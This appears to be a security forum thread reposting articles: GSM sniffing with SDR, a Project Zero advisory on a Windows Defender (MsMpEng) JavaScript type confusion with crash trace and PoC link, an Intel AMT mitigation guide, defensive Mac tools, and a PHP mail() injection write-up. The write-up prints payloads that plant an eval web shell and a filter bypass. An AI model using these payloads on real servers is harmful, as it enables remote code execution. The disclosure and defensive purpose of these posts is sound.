Nytro

PASSIVE GSM SNIFFING WITH SOFTWARE DEFINED RADIO 02/06/2017 0 Comments in Blog by Rashid Feroze I have been working on Telecom Security and Software defined radio since a few months and I noticed that there are very limited resources on the internet for beginners who want to get into telecom security. Not many people from security industry are into this and very less information has been shared online. I would be sharing here whatever I have gained in past few months in a series of blog posts. Now, before getting into active security analysis of GSM networks, let’s first see what we can do by just passively sniffing the airwaves around us. To sniff RF waves around us, the best way is get your hands on a SDR. WHAT IS A SDR? According to Wikipedia, Software-defined radio (SDR) is a radio communication system where components that have been typically implemented in hardware (e.g. mixers, filters, amplifiers, modulators/demodulators, detectors, etc.) are instead implemented by means of software on a personal computer or embedded system. In simple terms, It refers to a technique in which all the processing is done in software. The processing mentioned include mixing, filtering, demodulation etc. We can use a SDR to capture airwaves when tuned to a particular frequency. The range of frequency it can capture and the bandwidth differs with different SDR devices. Here, we would be using RTL-SDR, the cheapest one available, to sniff over GSM. GSM FREQUENCY BANDS Before getting into details, let’s first have a look on different GSM frequency bands. GSM operates on a set of pre-defined frequencies designated by International Telecommunication union for the operation of GSM mobile phones. GSM frequency bands In India, we use two bands which are shaded in yellow in the above picture. A dual-band 900/1800 phone is required to be compatible with most networks around the world. For sniffing, first we need to identify the GSM downlink channels. Here we would be sniffing GSM data for our own phone so we would need to know upon what frequency it is operating on. We can do this by getting the ARFCN no. from our phone. In GSM cellular networks, an absolute radio-frequency channel number (ARFCN) is a code that specifies a pair of physical radio carriers used for transmission and reception in a land mobile radio system, one for the uplink signal and one for the downlink signal. I am using Motorola G4 and in this phone we can get to the service mode by dialing *#*#4636#*#* on our phone keypad. I have switched the phone to 2G mode as analysis of 2G is much easier than 3G/4G. They are using different encoding and encryption schemes and we can cover them later. Our ARFCN no. is 672. We can calculate exact frequency on which this phone is operating by using the ARFCN number. By using a simple ARFCN calculator we got to know the frequency our phone is operating in. ARFCN Calculator Now. Let’s tune our RTL-SDR to that particular frequency and find out what we can see. Gqrx tool We can clearly see the GSM Stream bits on that frequency. Let’s also scan for all the GSM channels around us. This will give us confirmation about our downlink channel. We can use kalibrate-rtl tool to scan GSM frequencies around us. kalibrate-rtl Here also we can see our downlink channel and it also gives us the offset value which will help us calibrate our SDR better. Whatever data which the SDR is receiving is just raw data which makes no sense. We can use GR-GSM to decode this raw data and process this into meaningful information. grgsm_livemon running Now start wireshark simultaneously and we would start seeing the GSM data packets in the wireshark. We can also filter out Gsmtap packets. This is a system Information type 3 packet. Information needed by the MS for cell selection and reselection is broadcasted with the help of this. Location Update message CAN WE LISTEN TO VOICE CALLS THEN? All the data channels are almost always encrypted using a stream cipher (A5) used to provide over-the-air communication privacy in the GSM cellular telephone standard. We can only see some of the control channels above which were not encrypted. All the calls and messages are encrypted using an encryption key (Kc) which is generated after an authentication mechanism by Authentication Center (AUC) which follows a challenge-response authentication model. The SIM card stores an encryption key called as Ki which is also stored by AUC/HLR. The Ki or Kc is never exchanged over network, therefore making it impossible to sniff encryption keys over the air. Moreover, the Kc changes before each call is setup. It means for every call, there would be a different encryption key. However, older version of A5 can be cracked if we have enough computation power. Researches have cracked A5/1 encryption by setting up the entire process in cloud which has huge computation power. Kraken is the tool that can be used for this. We cannot capture voice data with RTL-SDR because during a call, channel hopping takes place and the bandwidth of the RTL-SDR is not enough to capture the whole range at a time. We would need a better SDR with more bandwidth like a HackRF or any SDR device above that. HOW DOES INTELLIGENCE AGENCIES INTERCEPT OUR CALLS THEN? 1. DOWNGRADING THE ENCRYPTION ALGORITHM USED Even if the operator is using new and strong encryption algorithm, sometimes It is possible to force the operator to switch to a weaker encryption algorithm. Operators have to enable support for older encryption algorithms because many older phones doesn’t have enough computation power to use new encryption algorithms. 2. SOME OF THE OPERATORS DOESN’T USE ANY ENCRYPTION AT ALL During telecom security vulnerability assessments, it was found that, sometimes operators turn off encryption schemes completely when the load on the network increases so that they can reduce overhead traffic and can accommodate more users easily. 3. MITM ATTACK This is the most common attack vector that have been used since years by different hacker groups and Intelligence agencies. One can create fake cell towers and fool a mobile station in the vicinity to connect to that fake cell tower. All the mobile station data now would be going through that fake cell tower and the person in control could force the MS to use no encryption at all. 4. GETTING THE SIM CARD ENCRYPTION KEYS In 2015, It was in the news that some spies hacked into the internal computer network of the largest manufacturer of SIM cards in the world, stealing encryption keys (Ki) used to protect the privacy of cellphone communications across the globe. This key could be used to decrypt the GSM data. WHAT NEXT? We will talk more about security analysis of GSM networks using Osmocom-BB, we will setup our own GSM Network using OpenBTS and discuss about the attacks possible over Um and Abis interfaces in the upcoming blogposts related to telecom security. Stay Tuned. Sursa: http://payatu.com/passive-gsm-sniffing-software-defined-radio/

Cât câştigă un programator şi cum ne raportăm la salariile programatorilor din alte țări? Marti, 23 Mai 2017 7594 vizualizari Sursa foto Potrivit datelor despre salarii provenite din contribuțiile utilizatorilor Undelucram.ro, postate în ultimii 4 ani, am identificat un salariu minim net care pornește de la 1.000 RON (o pozitie entry level, aferentă unei experiențe reduse), şi care ajunge până la un maxim de 16.000 RON. Excluzând extremele, puține la număr, utilizatorii noștri, care au împărtășit comunității date despre venitul lor salarial, câştigă în medie 4.418 RON sau aprox. 1000 EUR. Sursa: Undelucram.ro Cum arată aceasta medie în raport cu datele colectate de institutul de statistică? Ultima valoare înregistrată, aferentă lunii martie 2017, arată o medie a caştigului unui angajat in “Activitati de servicii în tehnologia informatiei; Activitati de servicii informatice”, egală cu 5.880 RON (aprox. 1.292 EUR). Facem totuși precizarea că datele colectate de INS se referă la un domeniu de activitate mai larg, în consecință putem avea incluse în medie şi salarii care nu au legătură directă cu activitatea de programare. În 2016, salariile angajaților din IT au crescut cu 22% față de anul precedent, în timp ce în primele 3 luni ale lui 2017 se înregistrează o creștere de 9% an vs. an. Cum ne raportam la salariile țărilor din regiune, Europa de Vest, dar si America de Nord? Sursa: Undelucram.ro, INS, Eurostat, Institute de Statistica Nationale – Europa de Vest si America de Nord Așa cum am precizat, datele provenite de la unele instituții de statistică naționale nu oferă valori exclusive activității de programare. În schimb se realizeaza o medie, pe baza tuturor salariilor din domeniul IT. În graficul de mai sus, avem această situație pentru datele oferite de INS, dar si pentru cele oferite de instituțiile de statistica din unele țări ale Europei Centrale. Per ansamblu, valorile în regiune sunt destul de apropiate, mai mult chiar, România se află în fața Europei Centrale pe aceasta medie agregata din sectorul IT: 1.251 EUR vs. 1.154 EUR in regiune. Situația se schimbă radical în comparație cu țări considerate dezvoltate, iar aici valorile sunt direct comparabile cu datele de pe Undelucram, pentru că se refera strict la activitățile de programare. Un programator din Europa de Vest câstigă în medie 3.155 EUR, iar unul din America de Nord 4.547 EUR, de aproximativ 3, respectiv 4 ori mai mult decât salariul din România. Cum arată datele în contextul unei comparații cu Indicele Cheltuielilor de zi cu zi, aferent locațiilor geografice respective? Sursa: Numbeo.com În Europa Centrală, indicele cheltuielilor curente este doar cu aprox. 15% mai mare decat in România. În schimb, în țările din Europa de Vest, precum si peste ocean, costul vieții este mai mult sau mai puțin DUBLU. Cum arată salariul programatorilor, ajustat la puterea de cumpărare aferentă regiunilor comparate? Sursa: Calcule Undelucram.ro, Numbeo.com Chiar si ajustate la puterea de cumpărare, în comparație cu țara noastră, salariile programatorilor sunt cu 60% mai mari in Europa de Vest si mai mult decât duble in America de Nord. Pe lângă salarii, ce alte beneficii mai primesc angajații care lucrează în PROGRAMARE? Asigurare medicala şi Program flexibil, marea majoritate: 61%, respectiv 67% Tichete de masă: mai puțin de jumatate, 42% Al 13-lea salariu şi pensie facultativă: foarte puțini: 30%,respectiv 10%. Spune comunității cât câştigi. Postarea ta este şi va rămâne anonimă. Sursa: https://www.undelucram.ro/stire/cat-castiga-un-programator-si-cum-ne-raportam-la-alte-tari-1105

Super, arata bine.

Ce telefoane mobile pot rula Android O în versiunea DP2 Autor: Emil Dragotă, Data: 21.05.2017, 21:52 Software Android O în versiunea Developer Preview 2 a fost lansat de către Google. Poate fi instalat pe Nexus 5x, Nexus 6P, Pixel, Pixel XL, Pixel C și Nexus Player. Cum poți instala Android O DP2 pe dispozitivele menționate? Sunt mai multe alternative: Android O Beta Program; Factory image pentru fiecare dispozitiv în parte. Care sunt noutățile aduse de către Android O DP2? setările rapide cu design actualizat; posibilitatea de a schimba designul icoanelor pentru aplicații ( normal, rotund, pătrat etc); ai acces la widgeturile unei aplicații prin apăsarea prelungită ( disponibil doar în launcher-ul preinstalat – Pixel Launcher); modul de lumină pentru noapte cu posibilitatea de reglare a intensității pe partea de luminozitate; suport nativ pentru managementul parolelor ( secțiunea Setări / Sistem / Limbaj și Metode de introducere / Avansat și acolo apare opțiunea de auto-completare; opțiuni noi de management pentru consumul de energie electrică stocată în acumulator. Google limitează aplicațiile ce necesită refresh constant pe partea de poziționare, sunt mai multe optimizări făcute ca utilizatorul să aibă date concrete legate de consumul generat de fiecare aplicație în parte, informații pe partea de încărcare etc; modul Picture-in-Picture adus la un nivel superior, pagină dedicată în setări; Instant Apps – posibilitatea de a testa o aplicație fără a fi nevoie în a o instala pe dispozitiv; opțiuni noi în zona Wi-Fi și rețea; design nou pentru secțiunea Stocarea din setări. Mai multe detalii în linkul de la sursă. Google dezvoltă din mers și preia feedback în mod real, asta și face sistemul de operare să evolueze, să fie mult mai matur din prima zi în care este lansat comercial. Prin vară o să avem Android 8.0 Oreo în ediție finală, dar și primele telefoane mobile cu această distribuție software. Sursa: https://www.gadget.ro/ce-telefoane-mobile-pot-rula-android-o-versiunea-dp2/

E Metasploit, ar trebui sa mearga orice payload. Poti face un test cu bind/reverse tcp. Nu am incercat, nu stiu daca e limitat de ceva, gen marime, dar nu pare sa fie.

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5 MsMpEng is the Malware Protection service that is enabled by default on Windows 8, 8.1, 10, Windows Server 2012, and so on. Additionally, Microsoft Security Essentials, System Centre Endpoint Protection and various other Microsoft security products share the same core engine. MsMpEng runs as NT AUTHORITY\SYSTEM without sandboxing, and is remotely accessible without authentication via various Windows services, including Exchange, IIS, and so on. On workstations, attackers can access mpengine by sending emails to users (reading the email or opening attachments is not necessary), visiting links in a web browser, instant messaging and so on. This level of accessibility is possible because MsMpEng uses a filesystem minifilter to intercept and inspect all system filesystem activity, so writing controlled contents to anywhere on disk (e.g. caches, temporary internet files, downloads (even unconfirmed downloads), attachments, etc) is enough to access functionality in mpengine. MIME types and file extensions are not relevant to this vulnerability, as MsMpEng uses it's own content identification system. Vulnerabilities in MsMpEng are among the most severe possible in Windows, due to the privilege, accessibility, and ubiquity of the service. The core component of MsMpEng responsible for scanning and analysis is called mpengine. Mpengine is a vast and complex attack surface, comprising of handlers for dozens of esoteric archive formats, executable packers and cryptors, full system emulators and interpreters for various architectures and languages, and so on. All of this code is accessible to remote attackers. NScript is the component of mpengine that evaluates any filesystem or network activity that looks like JavaScript. To be clear, this is an unsandboxed and highly privileged JavaScript interpreter that is used to evaluate untrusted code, by default on all modern Windows systems. This is as surprising as it sounds. We have written a tool to access NScript via a command shell for testing, allowing us to explore and evaluate it: $ mpscript main(): Please wait, initializing engine... main(): Ready, type javascript (history available, use arrow keys) > 6 * 9 JavaScriptLog(): 54 > document.location.hostname JavaScriptLog(): www.myserver.com > "abcd" + String.fromCharCode(0x3f) JavaScriptLog(): abcd? > /[y]e+(s|S)/.exec("yes")[0] // C++ regex engine running unsandboxed as SYSTEM on attacker controlled REGEX? JavaScriptLog(): yes > for (i in document) log(i) JavaScriptLog(): appendChild JavaScriptLog(): attributes JavaScriptLog(): childNodes JavaScriptLog(): createElement JavaScriptLog(): createTextNode JavaScriptLog(): getElementById JavaScriptLog(): getElementsByTagName JavaScriptLog(): write JavaScriptLog(): writeln JavaScriptLog(): referrer JavaScriptLog(): cookie JavaScriptLog(): location JavaScriptLog(): undefined > window.ScriptEngineBuildVersion JavaScriptLog(): [object Function] > window.ScriptEngineBuildVersion() JavaScriptLog(): 8831 We have discovered that the function JsDelegateObject_Error::toString() reads the "message" property from the this object, but fails to validate the type of the property before passing it to JsRuntimeState::triggerShortStrEvent(). In pseudocode, the code does something like this: prophash = JsObject::genPropHash("message", 0); RuntimeState::getThisPtr(&thisptr) if (JsObject::get(thisptr, prophash, &message)) { JsRuntimeState::triggerShortStrEvent("error_tostring", message); } The method assumes that message is a string, but it can be of any type, so this type confusion allows an attacker to pass arbitrary other objects. JsRuntimeState::triggerShortStrEvent() calls JsString::numBytes() on the passed object, which will invoke a method from the object's vtable. int __fastcall JsString::numBytes(JsString this) { if ( this == 0x12 ) return 0; if ( (this & 0x12) == 0x12 ) return this >> 5; return this->vtbl->GetLength(this); } Nscript supports "short" strings, with length and values contained in the handle and "long" strings with out-of-line memory. If the string is "long" (or appears to be due to type confusion), a vtable call is made to retrieve the length. Integer handles are represented as four-byte values with the final bit set to one by the engine. The integer itself is left shifted by one bit, and the final bit set to create the handle. Handles to most objects, including strings are represented as the value of the pointer to the object with no modification. Therefore, this type confusion allows an integer to be specified and treated as pointer (though the bits need to shifted to get the correct value in the handle, and only odd pointer values are possible). To reproduce this vulnerability, download the attached testcase. The debugging session below was captured after visiting a website that did this: <a href="testcase.txt" download id=link> <script> document.getElementById("link").click(); </script> 3: kd> !process PROCESS 8805fd28 SessionId: 0 Cid: 0afc Peb: 7ffdf000 ParentCid: 01c8 DirBase: bded14e0 ObjectTable: bfb99640 HandleCount: 433. Image: MsMpEng.exe 3: kd> !token -n _EPROCESS 8805fd28, _TOKEN 00000000 TS Session ID: 0 User: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM) 3: kd> .lastevent Last event: Access violation - code c0000005 (first chance) debugger time: Fri May 5 18:22:14.740 2017 (UTC - 7:00) 3: kd> r eax=00000010 ebx=1156c968 ecx=41414141 edx=115730f8 esi=68bd9100 edi=41414141 eip=68b1f5f2 esp=0208e12c ebp=0208e134 iopl=0 nv up ei ng nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010293 mpengine!FreeSigFiles+0xec822: 001b:68b1f5f2 8b07 mov eax,dword ptr [edi] ds:0023:41414141=???????? 3: kd> lmv mmpengine start end module name 68790000 6917a000 mpengine (export symbols) mpengine.dll Loaded symbol image file: mpengine.dll Image path: c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{1C2B7358-645B-41D0-9E79-5FA3E5C4EB51}\mpengine.dll Image name: mpengine.dll Timestamp: Thu Apr 06 16:05:37 2017 (58E6C9C1) CheckSum: 00A1330D ImageSize: 009EA000 Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4 3: kd> u mpengine!FreeSigFiles+0xec822: 001b:68b1f5f2 8b07 mov eax,dword ptr [edi] 001b:68b1f5f4 56 push esi 001b:68b1f5f5 8b7008 mov esi,dword ptr [eax+8] 001b:68b1f5f8 8bce mov ecx,esi 001b:68b1f5fa ff15c0450e69 call dword ptr [mpengine!MpContainerWrite+0x35f3a0 (690e45c0)] 001b:68b1f600 8bcf mov ecx,edi 001b:68b1f602 ffd6 call esi <--- Jump to attacker controlled address 001b:68b1f604 5e pop esi Before executing JavaScript, mpengine uses a number of heuristics to decide if evaluation is necessary. One such heuristic estimates file entropy before deciding whether to evaluate any javascript, but we've found that appending some complex comments is enough to trigger this. The attached proof of concept demonstrates this, but please be aware that downloading it will immediately crash MsMpEng in it's default configuration and possibly destabilize your system. Extra care should be taken sharing this report with other Windows users via Exchange, or web services based on IIS, and so on. As mpengine will unpack arbitrarily deeply nested archives and supports many obscure and esoteric archive formats (such as Amiga ZOO and MagicISO UIF), there is no practical way to identify an exploit at the network level, and administrators should patch as soon as is practically possible. We have verified that on Windows 10, adding a blanket exception for C:\ is enough to prevent automatic scanning of filesystem activity (you can still initiate manual scans, but it seems prudent to do so on trusted files only, making the action pointless). Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41975.zip Sursa: https://www.exploit-db.com/exploits/41975/

RansomWhere? download Let's try to generically thwart OS X ransomware via math! By continually monitoring the file-system for the creation of encrypted files by suspicious processes, RansomWhere? aims to protect your personal files, generically stopping ransomware in its tracks. compatibility: OS X 10.8+ current version: 1.2.0 (change log) zip's sha-1: e443ed8b67e548298cb86ccde293e24b1aa71e12 Interested in the background research and design of this tool? See the blog post; 'Towards Generic Ransomware Detection?' Also, as with any security tool, direct or proactive attempts to specifically bypass RansomWhere?'s protections will likely succeed. A concerted effort has been made to fully transparent about this, and to articulate the limitations of this tool. See the 'limitations' section below for more details. RansomWhere? is a utility with a simple goal; generically thwart OS X ransomware. It does so by identifying a commonality of essentially all ransomware; the creation of encrypted files. Generally speaking, ransomware encrypts personal files on your computer, then demands payment (the ransom) in order for you to decrypt your files. If you fail to pay up, and don't have backups of your files, they may be lost forever - that sucks! This tool attempts to generically prevent this, by detecting untrusted processes that are encrypting your personal files. Once such a process is detected, RansomWhere? will stop the process in its tracks and present an alert to the user. If this suspected ransomware, is indeed malicious, the user can terminate the process. On the other hand, if its simply a false positive, the user can allow the process to continue executing. More info: https://objective-see.com/products/ransomwhere.html

TaskExplorer » download Explore all the tasks (processes) running on your Mac with TaskExplorer. Quickly see a task's signature status, loaded dylibs, open files, network connection, and much more! compatibility: OS X 10.8+ current version: 1.6.0 (change log) zip's sha-1: 545ca559ebab0104868a872ff4d720820e7867fe TaskExplorer allows one to visually explore all running processes. Notable features of TaskExplorer include: Signing Status quickly view, (or filter) tasks that are signed by Apple, 3rd-parties, or are unsigned VirusTotal Integration detection ratios can reveal known malware, while unknown files can be submitted for analysis Loaded Dynamic Libraries for each task, view it's loaded dylibs Open Files view all files that a particular task has opened Network Connections see the network connection (and its details) created by a task Global Search quickly search to find specific items, or unsigned binaries, established network connections, and more! More info: https://objective-see.com/products/taskexplorer.html

OverSight » download Mac malware often spies on users by recording audio and video sessions...sometimes in an undetected manner. OverSight monitors a mac's mic and webcam, alerting the user when the internal mic is activated, or whenever a process accesses the webcam. compatibility: OS X 10.10+ current version: 1.1.2 (change log) zip's sha-1: 14b5099a578a6ace8de169a8f7f5b2f0d504dc40 One of the most insidious actions of malware, is abusing the audio and video capabilities of an infected host to record an unknowing user. Macs, of course, are not immune; malware such as OSX/FruitFly, OSX/Crisis, OSX/Mokes, and others, all attempt to spy on Mac users. OverSight constantly monitors a system, alerting a user whenever the internal microphone is activated, or the built-in webcam is accessed. And yes, while the webcam's LED will turn on whenever a session is initially started, new research has shown that malware can surreptitious piggyback into such existing sessions (FaceTime, Sykpe, Google Hangouts, etc.) and record both audio and video - without fear of detection. More info: https://objective-see.com/products/oversight.html

BSidesCharm 2017 T111 Microsoft Patch Analysis for Exploitation Stephen Sims

BSidesCharm 2017 T208 Detecting the Elusive Active Directory Threat Hunting Sean Metcalf

Publicat pe 3 mai 2017 Sergey Golovanov Igor Soumenkov Kaspersky Lab In 2016 Kaspersky Lab employees participated in incident response cases that took place in dozens of financial institutions around the globe. In most cases we had to provide forensics analysis of ATMs. When Carbanak attack details were announced at #TheSAS2015, criminals also found this information useful. Other criminal groups eagerly adopted the same TTPs. Banks started to suffer from attacks on ATMs including both, malware and physical access. These are: • Direct attacks on the peripherals and low-level hardware protocols • Hacker movie-style hardware drops in bank offices • Carbanak-like software attacks on ATM software layer • Bluetooth HID dongles implanted in ATMs instead of black boxes We will provide details about each of these cases and present a cheap and simple hardware design that (when applied with a bit of physical labor) can empty one of the most popular ATM models in the world. https://sas.kaspersky.com Twitter @KasperskySAS

Publicat pe 3 mai 2017 Mark Dowd Azimuth Security Memory safety vulnerabilities are everywhere: they appear in your favorite iPhone or Android jailbreak, your favorite malware kit, and your favorite Project Zero blog posts. The last 10 years has seen an explosive growth in technologies aimed at mitigating these vulnerabilities or eliminating them entirely. The traditional strategies employed to combat memory safety vulnerabilities have undergone significant refinement, and new technologies have also been created to thwart the latest and greatest exploitation techniques. But how effective are they? Are they having any impact? And what lies ahead in the battle for preventing wide- scale exploitation of memory corruption vulnerabilities? This presentation aims to answer these questions and more! https://sas.kaspersky.com Twitter @KasperskySAS

Publicat pe 10 aug. 2013 DEF CON is the world's largest hacking conference, held in Las Vegas, Nevada. In 2012 it was held for the 20th time. The conference has strict no-filming policies, but for DEF CON 20, a documentary crew was allowed full access to the event. The film follows the four days of the conference, the events and people (attendees and staff), and covers history and philosophy behind DEF CON's success and unique experience. Written by Jason Scott Like this? Leave feedback on IMDB: http://www.imdb.com/title/tt3010462/ Get involved with DEF CON: https://forum.defcon.org/ https://www.defcon.org/

Disabling Intel AMT on Windows (and a simpler CVE-2017-5689 Mitigation Guide) 2017-05-02 BY EDDIE BARCELLOS Completely and permanently (unless you re-install it) disable Intel Active Management Technology, Intel Small Business Technology, and Intel Standard Manageability on Windows. These are components of the Intel Management Engine firmware. This is especially relevant since a privilege escalation issue affecting Intel ME (CVE-2017-5689) was made public on May 1st. A patch for Linux is forthcoming. This vulnerability was discovered by Embedi. PS: words within ` ` are commands, you need to copy and paste these commands without the ` 1) Download the Intel Setup and Configuration Software (Intel SCS) and extract the files 2) Open up an administrator command prompt and navigate to where you extracted the files in step 1: run `cd Configurator` 3) In the command prompt, run `ACUConfig.exe UnConfigure`. If you get an error, try one of the options below: Unconfiguring a system in ACM without RCS integration: `ACUConfig.exe UnConfigure /AdminPassword <password> /Full` Unconfiguring a system with RCS integration: `ACUConfig.exe UnConfigure /RCSaddress <RCSaddress> /Full` 4) Still in the command prompt, disable and/or remove LMS (Intel Management and Security Application Local Management Service): `sc config LMS start=disabled` `sc delete LMS` also run `sc qc LMS`, which will either show you the path to LMS.exe or FAIL. If it shows you the path, use Explorer to delete it. If it FAILED, do not be concerned. 5) Reboot your computer. 6) Check if there is still a socket listening on the Intel ME Internet Assigned Names Authority (IANA) ports on the client: 16992, 16993, 16994, 16995, 623, and 664 (you can also do this before you start to verify it is listening. The Intel ME listens even if the Intel AMT GUI shows Intel ME is “Unconfigured”) in a command prompt (does not need to be elevated), run `netstat -na | findstr “\<16993\> \<16992\> \<16994\> \<16995\> \<623\> \<664\>”` 7) The Intel AMT GUI should now show “information unavailable on both remaining tabs” (you might have had 3 or more tabs before going thru the steps above) 8) Optionally, you can now delete LMS.exe. It is usually located in “C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS”. You could go further and use Add/Remove Programs to uninstall the AMT GUI, but then you will have a harder time in the future checking whether Intel AMT remains disabled. Voilá, you have gotten rid of the Intel AMT components. But the Intel ME co-processor is still running. Disabling the Intel Management Engine chip has long been a desired goal. If you can point to resources on disabling the Intel ME co-processor for chipsets Haswell and after, please comment below. If your computer has a chipset earlier than Haswell, you can try, at your own risk, these steps. Sursa: https://mattermedia.com/blog/disabling-intel-amt/

An authentication bypass vulnerability, which will be later known as CVE-2017-5689, was originally discovered in mid-February of 2017 while doing side-research on the internals of Intel ME firmware. The first objects of interest were network services and protocols. While studying the Intel AMT Implementation and Reference Guide we found out that various AMT features are available through the AMT Web-panel, which is supported by the integrated Web server, which listens to ports 16992 and 16993. Download: https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf

Why mail() is dangerous in PHP 3 May 2017 by Robin Peraglie During our advent of PHP application vulnerabilities, we reported a remote command execution vulnerability in the popular webmailer Roundcube (CVE-2016-9920). This vulnerability allowed a malicious user to execute arbitrary system commands on the targeted server by simply writing an email via the Roundcube interface. After we reported the vulnerability to the vendor and released our blog post, similar security vulnerabilities that base on PHP’s built-in mail()function popped up in other PHP applications 1 2 3 4. In this post, we have a look at the common ground of these vulnerabilities, which security patches are faulty, and how to use mail()securely. The PHP mail()-function PHP comes with the built-in function mail() for sending emails from a PHP application. The mail delivery can be configured by using the following five parameters. http://php.net/manual/en/function.mail.php bool mail( string $to, string $subject, string $message [, string $additional_headers [, string $additional_parameters ]] ) The first three parameters of this function are self-explanatory and less sensitive, as these are not affected by injection attacks. Still, be aware that if the to parameter can be controlled by the user, she can send spam emails to an arbitrary address. Email header injection The last two optional parameters are more concerning. The fourth parameter $additional_headers receives a string which is appended to the email header. Here, additional email headers can be specified, for example From: and Reply-To:. Since mail headers are separated by the CRLF newline character \r\n5, an attacker can use these characters to append additional email headers when user input is used unsanitized in the fourth parameter. This attack is known as Email Header Injection (or short Email Injection). It can be abused to send out multiple spam emails by adding several email addresses to an injected CC:or BCC: header. Note that some mail programs replace \n to \r\n automatically. Why the 5th parameter of mail() is extremely dangerous In order to use the mail() function in PHP, an email program or server has to be configured. The following two options can be used in the php.ini configuration file: Configure an SMTP server’s hostname and port to which PHP connects Configure the file path of a mail program that PHP uses as a Mail Transfer Agent (MTA) When PHP is configured with the second option, calls to the mail() function will result in the execution of the configured MTA program. Although PHP internally applies escapeshellcmd()to the program call which prevents an injection of new shell commands, the 5th argument $additional_parameters in mail() allows the addition of new program arguments to the MTA. Thus, an attacker can append program flags which in some MTA’s enables the creation of a file with user-controlled content. Vulnerable Code mail("myfriend@example.com", "subject", "message", "", "-f" . $_GET['from']); The code shown above is prone to a remote command execution that is easily overlooked. The GET parameter from is used unsanitized and allows an attacker to pass additional parameters to the mail program. For example, in sendmail, the parameter -O can be used to reconfigure sendmail options and the parameter -X specifies the location of a log file. Proof of Concept example@example.com -OQueueDirectory=/tmp -X/var/www/html/rce.php The proof of concept will drop a PHP shell in the web directory of the application. This file contains log information that can be tainted with PHP code. Thus, an attacker is able to execute arbitrary PHP code on the web server when accessing the rce.php file. You can find more information on how to exploit this issue in our blog post and here. Latest related security vulnerabilities The 5th parameter is indeed used in a vulnerable way in many real-world applications. The following popular PHP applications were lately found to be affected, all by the same previously described security issue (mostly reported by Dawid Golunski). Application Version Reference Roundcube <= 1.2.2 CVE-2016-9920 MediaWiki < 1.29 Discussion PHPMailer <= 5.2.18 CVE-2016-10033 Zend Framework < 2.4.11 CVE-2016-10034 SwiftMailer <= 5.4.5-DEV CVE-2016-10074 SquirrelMail <= 1.4.23 CVE-2017-7692 Due to the integration of these affected libraries, other widely used applications, such as Wordpress, Joomla and Drupal, were partly affected as well. Why escapeshellarg() is not secure PHP offers escapeshellcmd() and escapeshellarg() to secure user input used in system commands or arguments. Intuitively, the following PHP statement looks secure and prevents a break out of the -param1 parameter: system(escapeshellcmd("./program -param1 ". escapeshellarg( $_GET['arg'] ))); However, against all instincts, this statement is insecure when the program has other exploitable parameters. An attacker can break out of the -param1 parameter by injecting "foobar' -param2 payload ". After both escapeshell* functions processed this input, the following string will reach the system() function. ./program -param1 'foobar'\\'' -param2 payload \' As it can be seen from the executed command, the two nested escaping functions confuse the quoting and allow to append another parameter param2. PHP’s function mail() internally uses the escapeshellcmd() function in order to secure against command injection attacks. This is exactly why escapeshellarg() does not prevent the attack when used for the 5th parameter of mail(). The developers of Roundcube and PHPMailer implemented this faulty patch at first. Why FILTER_VALIDATE_EMAIL is not secure Another intuitive approach is to use PHP’s email filter in order to ensure that only a valid email address is used in the 5th parameter of mail(). filter_var($email, FILTER_VALIDATE_EMAIL) However, not all characters that are necessary to exploit the security issue in mail() are forbidden by this filter. It allows the usage of escaped whitespaces nested in double quotes. Due to the nature of the underlying regular expression it is possible to overlap single and double quotes and trick filter_var() into thinking we are inside of double quotes, although mail()s internal escapeshellcmd() thinks we are not. 'a."'\ -OQueueDirectory=\%0D<?=eval($_GET[c])?>\ -X/var/www/html/"@a.php For the here given url-encoded input, the filter_var() function returns true and rates the payload as a valid email address. This has a critical impact when using this function as a sole security measure: Similar as in our original attack, our malicious "email address" would cause sendmail to print the following error into our newly generated shell "@a.php in our webroot. <?=eval($_GET[c])?>\/): No such file or directory Remember that filter_var() is not appropriate to be used for user-input sanitization and was never designed for such cases, as it is too loose regarding several characters. How to use mail() securely Carefully analyze the arguments of each call to mail() in your application for the following conditions: Argument (to): Unless intended, no user input is used directly Argument (subject): Safe to use Argument (message): Safe to use Argument (headers): All \r and \n characters are stripped Argument (parameters): No user input is used In fact, there is no guaranteed safe way to use user-supplied data on shell commands and you should not try your luck. In case your application does require user input in the 5th argument, a restrictive email filter can be applied that limits any input to a minimal set of characters, even though it breaks RFC compliance. We recommend to not trust any escaping or quoting routine as history has shown these functions can or will be broken, especially when used in different environments. An alternative approach is developed by Paul Buonopane and can be found here. Summary Many PHP applications send emails to their users, for example reminders and notifications. While email header injections are widely known, a remote command execution vulnerability is rarely considered when using mail(). In this post, we have highlighted the risks of the 5th mail() parameter and how to protect against attacks that can result in full server compromise. Make sure your application uses this built-in function safely! https://phabricator.wikimedia.org/T152717 [return] https://framework.zend.com/security/advisory/ZF2016-04 [return] http://seclists.org/fulldisclosure/2017/Apr/86 [return] https://packetstormsecurity.com/files/140290/swiftmailer-exec.txt [return] http://www.ietf.org/rfc/rfc822.txt [return] Sursa: https://www.ripstech.com/blog/2017/why-mail-is-dangerous-in-php/

Web Exploit Detector Introduction The Web Exploit Detector is a Node.js application (and NPM module) used to detect possible infections, malicious code and suspicious files in web hosting environments. This application is intended to be run on web servers hosting one or more websites. Running the application will generate a list of files that are potentially infected together with a description of the infection and references to online resources relating to it. As of version 1.1.0 the application also includes utilities to generate and compare snapshots of a directory structure, allowing users to see if any files have been modified, added or removed. The application is hosted here on GitHub so that others can benefit from it, as well as allowing others to contribute their own detection rules. Links My website: https://www.polaris64.net/ My cybersecurity blog, which contains articles describing some of these exploits and how to remove them: https://www.polaris64.net/blog/cyber-security Contact me NPM module Installation Regular users The simplest way to install Web Exploit Detector is as a global NPM module: - npm install -g web_exploit_detector If you are running Linux or another Unix-based OS you might need to run this command as root (e.g. sudo npm install -g web_exploit_detector). Updating The module should be updated regularly to make sure that all of the latest detection rules are present. Running the above command will always download the latest stable (tested) version. To update a version that has already been installed, simply run the following: - npm update -g web_exploit_detector Again, you may have to use the sudo command as above. Technical users You can also clone the Git repository and run the script directly like so: - git clone https://github.com/polaris64/web_exploit_detector cd web_exploit_detector npm install Running From NPM module If you have installed Web Exploit Detector as 